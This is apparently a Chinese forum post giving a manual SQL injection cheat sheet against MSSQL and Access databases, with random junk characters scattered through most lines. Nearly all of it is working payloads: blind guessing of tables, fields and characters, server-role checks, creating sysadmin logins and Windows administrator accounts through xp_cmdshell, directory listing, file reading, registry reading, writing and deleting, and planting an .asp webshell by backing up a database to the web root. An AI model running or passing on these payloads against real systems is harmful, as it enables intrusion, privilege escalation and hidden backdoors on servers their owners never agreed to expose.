手工脚本注入
) X- X. ?1 r" x1 K1.判断是否有注入;and 1=1 ;and 1=2 - e' r9 F. {0 ?6 W1 p) a0 r+ {5 s
* ]! c7 ~5 \: n2 F8 I2.初步判断是否是mssql ;and user>0
9 O, J, q4 Z( d
8 v& I5 K. I0 {* k* z3.注入参数是字符'and [查询条件] and ''=' , n* T7 z5 z# q& }
$ z' Z0 s( B3 t/ E! {
4.搜索时没过滤参数的'and [查询条件] and '%25'=' : u6 S) L+ j9 S- t
( q1 u# \; }8 e
5.判断数据库系统
; y4 D" y- h9 p1 X3 @/ w' V& a;and (select count(*) from sysobjects)>0 mssql 2 V3 e1 i) z- M3 Z
;and (select count(*) from msysobjects)>0 access & A- D; ^+ k) v7 f5 r6 ^* `0 Q
/ [+ P" ]' @! j9 Y1 f
6.猜数据库 ;and (select Count(*) from [数据库名])>0 4 {6 f' w- R0 `1 d3 n
" V& _# P4 i1 H: V
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
0 e7 Q, W- E! ]- W' C2 L8 d9 X! \
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ' w* @5 o+ Z. u; H+ u$ k% o3 Y, E1 [
3 \4 x5 ~" `# s$ [; L8 c9.(1)猜字段的ascii值(access)
/ T5 [2 {7 H) X& H5 u; n) j;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
& S' ]( G' f: P0 B' [5 B$ Y, r8 k, `" x* U
(2)猜字段的ascii值(mssql) ; }) l4 Q8 W7 @& X( g' r3 E* o
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
5 E) Z h6 T O! T/ n3 u% U g5 W/ l6 e) Q2 _; B! f
10.测试权限结构(mssql) 7 E$ r$ q: C/ o9 `/ y0 X
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 S# @3 D9 f. K {( ]6 x
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6 d# O1 ?# h/ m2 z. u9 o; k
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
, B: o2 e) L' O+ z3 X;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1 n4 p% }7 l$ c5 P; ~
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
& F$ |. g7 w: p2 v; [$ Q0 S;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0 M. G% y$ ], K2 I [) A& `
;and 1=(select IS_MEMBER('db_owner'));-- ! q( \- _5 t( E* S
3 r. ~/ d- m: D( r9 M) X11.添加mssql和系统的帐户
- X/ I) G$ u! L;exec master.dbo.sp_addlogin username;--
% b) M1 ~6 E/ K. H7 }2 T3 D$ S5 ^9 ^4 y
;exec master.dbo.sp_password null,username,password;--
* ]3 I6 J8 f, [8 s( p6 M( y9 v! k5 A: p, k3 Q
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
2 D- Z- e4 m1 m8 q: u# _2 S% H" e. Q7 U" v7 l$ y0 P/ s
;exec master.dbo.xp_cmdshell 'net user username password 3 o6 w+ m/ b1 P2 h2 A/ ^: n
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 8 I% o+ f8 U" q2 v: X
. _, u9 t1 k: i4 g;exec master.dbo.xp_cmdshell 'net user username password /add';--
# X! |# s( h/ i: {+ F
8 |4 X" a8 G9 r; S _* X;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
, l/ s9 C5 h/ E4 B N- }) @8 p7 n# d! Y1 z$ Z' C
12.(1)遍历目录 J7 ]2 }% e3 O: G, \- O7 H3 F( S
/ B* J( |% S& c- h
;create table dirs(paths varchar(100), id int) 1 a% V% f/ D/ w3 X* t
;insert dirs exec master.dbo.xp_dirtree 'c:\'
' D$ I, i- N1 ?4 E, `;and (select top 1 paths from dirs)>0 : A( R1 c7 s5 n7 u, n/ L
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
& P; V9 s, U- j* K7 d9 i/ ]
. k Z( L- ^- b- b6 Y3 w7 d" N(2)遍历目录
0 B) o& }9 a+ W% d4 N8 N;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- . t0 i! ?/ x# d0 j2 q' w& B( B
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
/ j, w$ j. y$ K& y. ]! I/ K;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2 A' y+ \9 [ w
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
5 C% A" A+ p/ s! Y;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 . o R/ e) X+ v4 T* d
* J: n1 X+ f' S5 g; c, j) s7 r13.mssql中的存储过程
! N5 g' I/ _7 x; x% h
# [ e1 c! {& \2 |xp_regenumvalues 注册表根键, 子键 + L! Z* W" H( v c F
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
+ T% B2 t+ z) c5 K* Z( k0 m* A' R# J& }( M5 x# p8 a! W
xp_regread 根键,子键,键值名 6 l* _. T% S0 I1 I4 L, K/ v
;exec xp_regread 3 r/ R: P f) e U4 ~# F* f/ r
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
; Y+ T8 Y) o5 e# B! w/ ]2 N
' ^+ h$ r; h9 }. H& Bxp_regwrite 根键,子键, 值名, 值类型, 值 + Z3 o9 v8 Y9 N& b9 a# R
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1 m( \6 Y9 B$ A W
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
7 x/ N2 M9 [/ P4 c( X* G7 v5 P/ o
5 ]$ _& T# b4 U+ ]xp_regdeletevalue 根键,子键,值名
9 l G2 B! _/ ]4 E; i. @6 k: O2 b: d+ e
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ; w6 z% A% l: M
/ I8 ]% [* O# Y) Q9 y5 c$ ?* pxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
+ p, {+ }! ~' z& m8 I3 ]! ~: \, F2 A# `7 g H, z
14.mssql的backup创建webshell % n8 Y$ b1 Q2 B, N
use model
" o' M) y$ d( s! ]; U! t! h, Gcreate table cmd(str image); {: ^0 g$ W! ]
insert into cmd(str) values ('');
6 L) _& [( |0 ^9 ^backup database model to disk='c:\l.asp'; - m- e9 x* L" G5 Y$ x
5 s; x/ k8 H, D2 S( b* T15.mssql内置函数
7 B. f1 r L) W, Q5 B9 P) y J: F;and (select @@version)>0 获得Windows的版本号 . v! a; A6 s7 H _/ [
;and user_name()='dbo' 判断当前系统的连接用户是不是sa - ?3 u& H ^9 e
;and (select user_name())>0 爆当前系统的连接用户 2 S9 F- k, N. z- s2 [% L
;and (select db_name())>0 得到当前连接的数据库
K c/ w/ B) z, R. I, J
9 E2 @( U8 G: P# M: k5 t4 R# ^; o: y16.简洁的webshell C h4 W+ j6 u( C0 M
: h9 f2 P7 s& y; n
use model
4 \. P( {/ p: M: s3 }, \- F6 M7 u$ w/ I. E
create table cmd(str image); 0 M' A" G9 J J
% s' _" x- B& q9 ^; T9 W# X
insert into cmd(str) values ('');
0 x% @ M3 j3 P4 G9 `1 X8 Y3 l
& Y, l" h6 i0 C& e7 Zbackup database model to disk='g:\wwwtest\l.asp'; ' M U1 p3 m" `% c5 z
6 ?9 I% ?( w/ l+ G$ C. D. P4 n
|